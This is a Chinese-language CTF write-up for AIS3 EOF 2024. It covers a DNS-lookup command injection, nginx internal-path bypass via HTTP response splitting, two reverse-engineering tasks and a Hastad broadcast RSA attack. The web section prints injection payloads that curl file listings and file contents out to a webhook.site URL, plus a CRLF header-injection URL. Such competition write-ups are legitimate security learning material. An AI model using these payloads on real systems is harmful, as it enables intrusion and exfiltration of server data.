文章

AIS3 EOF 2024 - Writeup

一個爛咖的 WP

misc

Welcome

水一題 image

Web

DNS look up

image

無法回顯資料,所以我用 webhook 打出來,然後 ls 一層一層往下找後找到 flag

1
$(curl -X POST -d "$(ls ../../..)" https://webhook.site/82959a9b-1933-4f62-bf18-e7e6a74ca549)

image

雖然有黑名單,但我還是想試試

1
$(curl -X POST -d "$(cat ../../../flag_yxp8ZOjhtl0K8JHq)" https://webhook.site/82959a9b-1933-4f62-bf18-e7e6a74ca549)

image

卡在無法使用 ?* 來繞過 flag 字串的黑名單。

以前在玩類似的題目時,去 cat ls 是可以跑出內容的,雖然在本地跑可以順利噴出 ls 出來的東西,但因為指令是多個 error 所以無法傳出,最後找到了 find 搭配的方法,讓指令執行一次就好,排除掉無法 cat 的東西。

1
$(curl -X POST -d "$(find ../../.. -maxdepth 1 -type f -exec cat {} +)" https://webhook.site/82959a9b-1933-4f62-bf18-e7e6a74ca549)

image

Internal

image

這題透過 nginx 的 internal,設定了 /flag 路徑只能由內部存取

1
2
3
4
location /flag {
    internal;
    proxy_pass http://web:7777;
}

爬文後發現 internal 的判定方式是使用 x-accel-redirect 標頭,並且這個標頭是使用者沒辦法自行加上的,如果服務端有 CSRF 的洞,可以透過自己架設伺服器,讓服務端發送請求到自架的伺服器上來加上標頭

不過這題沒有 CSRF 可以打,繼續爬文,找到了類似的解法,可以在伺服器回傳重定向網址的步驟,利用 HTTP Response Splitting 的方法把 header 塞入 https://blog.orange.tw/2014/02/olympic-ctf-2014-curling-200-write-up.html

1
self.send_header("Location", redir)

透過帶參數的方式加入 X-Accel-Redirect:/flag

1
http://10.105.0.21:11920/?redir=http://10.105.0.21:11920/%0d%0aX-Accel-Redirect:/flag

這時就會得到一個有 X-Accel-Redirect:/flag 標頭的重定向回應,然後我們就會用這個請求再次去打到服務端,當服務端 nginx 收到帶有標頭的請求,就會使用內部的方式去打 /flag 路徑,最後成功取得 flag image

Reverse

Flag Generator

image

下載下來是一個沒有副檔名的檔案 image

直接丟 kali 用 file 指令看檔案類型,判定是 exe 執行檔 把副檔名改成 .exe 直接執行,會建立一個檔案 flag.exe 但檔案是 0kb,無法執行 image

接著用 cmd 跑一次,可以看到輸出 image

題目說明 output 就是 flag,以為這題可能是 Reverse 的送分題(?,接著嘗試了各種組合,當然都是錯的XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
AIS3{Output_File:_flag.exe_Oops!_Forget_to_write_file.}
AIS3{Output_File:_flag.exe_Oops!_Forget_to_write_file}

AIS3{Output File: flag.exe Oops! Forget to write file.}
AIS3{Output File: flag.exe Oops! Forget to write file}

AIS3{Output File: flag.exe}
AIS3{Output_File:_flag.exe}

AIS3{flag.exe}

AIS3{Output_File:_%s\n}

AIS3{Output_File:_flag.exe\nOops!_Forget_to_write_file.}

丟到 Ghidra,可以看到 _Memory 的部分是要寫入 flag.exe 的,但是 writeFile 裡面並沒有寫入檔案的邏輯 image

丟到 x64dbg,用 Oops! Forget to write file. 的訊息定位到 writeFile 附近的組合語言,接著和 Ghidra 配著看,找到 free(_Memory) 下斷點,這樣就可以抓到原本要寫入 _Memory 的資料

觀察組合語言可以發現,這時的 RCX RAX 是指向 _Memory,直接去記憶體找資料,把 hex 的值複製下來,打到 vscode 上,最後複製到 HxDPortable 輸出成 .exe 檔 image

執行後就可以拿到 FLAG image

Stateful

image

一樣 file 看檔案後,拉到 kali 執行,正常執行,執行輸出 wrong 直接丟進 Ghidra 看邏輯,可以發現當使用者輸入的參數字串長度不是 43 時,就會跳錯誤,當使用者輸入 43 長度的字串時,這些字串會被拿去和 k_target 做比對,中途字串被傳入了 state_machine 做處理,這邊可以大概猜測出, k_target 是某種運算後的 flag image

進入後可以看到大量的 function 在計算字串,內容都是某個字等於其他兩個字的運算結果 image

主要是由變數 local_c 來判斷流程,並透過 local_14 和 local_10 來控制 local_c 的值,每次 function 執行完後,會從頭開始判斷,直到最後 bVar1 = Ture

不過我發現 Ghidra 在判斷迴圈的邏輯這裡,反編譯的怪怪的,邏輯錯誤,每次 goto 過來 bVar1 都會直接 = Ture,根本無法跑迴圈,所以我改成用 IDA free 看 image

到 IDA 後這裡就正常了 image

這時我打算回推這些運算的順序,來反向運算 k_target 取得 flag 先把運算後的 flag 找出來 image

整理成陣列 image

透過一步一步追 state_machine 函數中 v5 的值,來得知 function 運行的順序 image

不知道可不可以用寫 idc 腳本或是用動態分析來追這些 function 的執行流程,但剩1小時多沒時間研究,就直接用手打一個步驟一個步驟紀錄,後來發現當下 v5 的值,執行的 function 名稱後段也會和 v5 是相同的,所以就不用一行一行看判斷式,透過直接找 function 名就好。 image

把執行的操作整理出來後,就是整個訊息處理的流程,把整個流程邏輯反過來寫(我直接餵給 ChatGPT 讓他幫我生成) image

他沒幫我加 ; 還少打了幾的 a,手動補上

#include <stdio.h>

int main()
{
    unsigned char a1[] =
    {
        0x0F, 0x77, 0xEC, 0x33, 0x44, 0x16, 0x13, 0x59, 0x1D, 0x42,
        0x84, 0x75, 0x5F, 0xE4, 0x83, 0xC0, 0x3B, 0xC1, 0x95, 0xCF,
        0xDB, 0x33, 0x6C, 0xD2, 0xED, 0x72, 0x5F, 0x0D, 0x74, 0x41,
        0x5B, 0x73, 0xA0, 0x33, 0x53, 0x24, 0x02, 0x59, 0x74, 0x60,
        0x33, 0xCC, 0x7D
    };

    a1[5] -= a1[37] + a1[20];
    a1[8] -= a1[14] + a1[16];
    a1[17] -= a1[38] + a1[24];
    a1[15] -= a1[40] + a1[8];
    a1[37] -= a1[12] + a1[16];
    a1[4] -= a1[6] + a1[22];
    a1[10] += a1[12] + a1[22];
    a1[18] -= a1[26] + a1[31];
    a1[23] -= a1[30] + a1[39];
    a1[4] -= a1[27] + a1[25];
    a1[37] -= a1[27] + a1[18];
    a1[41] += a1[3] + a1[34];
    a1[13] -= a1[26] + a1[8];
    a1[2] -= a1[34] + a1[25];
    *a1 -= a1[28] + a1[31];
    a1[4] -= a1[7] + a1[25];
    a1[18] -= a1[29] + a1[15];
    a1[21] += a1[13] + a1[42];
    a1[21] -= a1[34] + a1[15];
    a1[7] -= a1[10] + *a1;
    a1[13] -= a1[25] + a1[28];
    a1[32] -= a1[5] + a1[25];
    a1[31] -= a1[1] + a1[16];
    a1[1] -= a1[16] + a1[40];
    a1[30] += a1[13] + a1[2];
    a1[1] -= a1[15] + a1[6];
    a1[7] -= a1[21] + *a1;
    a1[24] -= a1[20] + a1[5];
    a1[36] -= a1[11] + a1[15];
    *a1 -= a1[33] + a1[16];
    a1[19] -= a1[10] + a1[16];
    a1[1] += a1[29] + a1[13];
    a1[30] -= a1[33] + a1[8];
    a1[15] -= a1[22] + a1[10];
    a1[20] -= a1[19] + a1[24];
    a1[27] -= a1[18] + a1[20];
    a1[39] += a1[25] + a1[38];
    a1[23] -= a1[7] + a1[34];
    a1[37] += a1[29] + a1[3];
    a1[5] -= a1[40] + a1[4];
    a1[17] -= *a1 + a1[7];
    a1[9] -= a1[11] + a1[3];
    a1[31] -= a1[34] + a1[16];
    a1[16] -= a1[25] + a1[11];
    a1[14] += a1[32] + a1[6];
    a1[6] -= a1[10] + a1[41];
    a1[2] -= a1[11] + a1[8];
    *a1 += a1[18] + a1[31];
    a1[9] += a1[2] + a1[22];
    a1[14] -= a1[35] + a1[8];
    
    printf("%s", a1);
    return 0;
}

使用在線上編譯器運算,取得 flag(感恩GPT讚嘆 GPT,讓我不用手打這一堆程式碼 image

本地測試成功 image

Crypto

Baby RSA

image

可以注意到 e 特別小,用這個方向找爬文,看了,最後查到 Broadcast 並且可以使用中國餘弦定理來解,因為 FLAG 是固定的,可以透過連接三次 nc 來拿到三個相同明文加密後的密文,同時小指數 e = 3,所以才讓 Broadcast attack 成立

from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot
from gmpy2 import invert


def mul(lst):
    ret = 1
    for n in lst:
        ret *= n
    return ret

def crt(C, N):
    assert len(C) == len(N)

    total = 0
    modulo = mul(N)

    for n_i, c_i in zip(N, C):
        p = modulo // n_i
        total += c_i * invert(p, n_i) * p
    return total % modulo

e = 3
c1 = 4733119412937529507002090605689212814495078620123976147017817306172268124835595551507795731897704179648692035951072660671867924059822363156080959075575933773278140276397600332593111537346820366406883849003808016163717436849584391412486675046066633503767517579711590932450078310381548953647616910920655653596768309981776101641980184155193040977073288616746541480196880841375399673386375374540160031157117294734852453738621648500627126772884854504859394970469985294068691146419644220999521609522272482662561407088447514049031392822570550006456120814014524320144401958325311987878082003739911372721623957250575000060398
n1 = 16145872597258089932860670257814824527965051389676673985177223229414018494961090943817611985729383160746202029785074287650139368358131875110802570339574874367364162987896718461751093383816879393767115899598693950131420617427263015158288351916169831418361332243534782196010267389678893250437560118794873968861914482347796003850789535715148594564819854173766914371111241514429815854997898750697661739201828004579166046517940120787700574372715611025093733463081766680012126143445680099062209173563084943650488236812669795240626883952634066811434970663242935804363972907942662121112320338587995770222944583584442479576041
c2 = 3982486131381142864794176141399198521931946462992841770845691416100732689900077099145975612903671361980038132572061372992688292721433052046074527730765479593608017035901136139521101021509146590136240410827175368637039133330147350463477935508730590528323098446676052570731541956158092072548442067235932652836698416320101656173368223637929237449231661934739367156721691144168715329273752996038628355385190748977047038903708064353884274219647880505368336040532699462674853103588045039654688150131140793039924627671386838941136604607308177371123129411263060136021580543929265770223264673463319896774231445105502542473310
n2 = 20234270486772245968843793211693130032998238122853236543212214344541338801396682433324740616990029927267341006405435980583969804894346484082463446862849000543442022462347785006970787194210540816421614901017275550020431723250071874132816433825381610251698688222893244852331740498852614938279306278080860432427783877655069589141552340995014225861415169939979770551212767190218355886295341511360955243134165374500281335160330957640327530327722018967139890043939460524799229693771066301083604740676511841196353556468210393452592597705602286568662183495227490492616070714358580087924873446275242765072552976142133092094437
c3 = 18032056611007575981014740545440794769313165715696287943791620752526092949080684268453677730775296275071950141213099211480832579902339145999418212301919456491675392816782947512567152018308526258523095143448400165223587346404379872030042264574195465712633269215568676880976476464497772648259008650678663807865020478740949625297238447057864096387452755770076467877529703819837993972679737338517181393280398557138809549552689882675079847871297159601758037756358754130856036734634559896814392427863027785725195987963238394927302418223346524540122521620963464861935368727466189878946758462244975496342397022936513532622098
n3 = 18915404333410177564160829570480850834042129304639352805668183885536952435696983071590228372048525417374098324515834734786979169730181280125616715512057722665189448922934821709532656027380539076943500524100214339683010063756529909155569806430766029666303036787611952644152599699753466722825611184272746644006329637244395021541011751400034500653308126487644637870979998581667385090478550256946261650160857135821627628322030141663228026033056556933721039971154939557420035604715581279704946043926567883992608363807940227533300560345760267103111767017798782702105835931357865077301777556536415672079488495001308187642251


def third_root(n):
    m, valid = iroot(n, e)
    if valid:
        print("Cleartext :", long_to_bytes(m))
    else:
        print("Unable to find the third root of :", n)

C = [c1, c2, c3]
N = [n1, n2, n3]

for c in C:
    third_root(c)

x = crt(C, N)
third_root(x)

程式碼參考: https://docs.xanhacks.xyz/crypto/rsa/08-hastad-broadcast-attack/

本文章以 CC BY 4.0 授權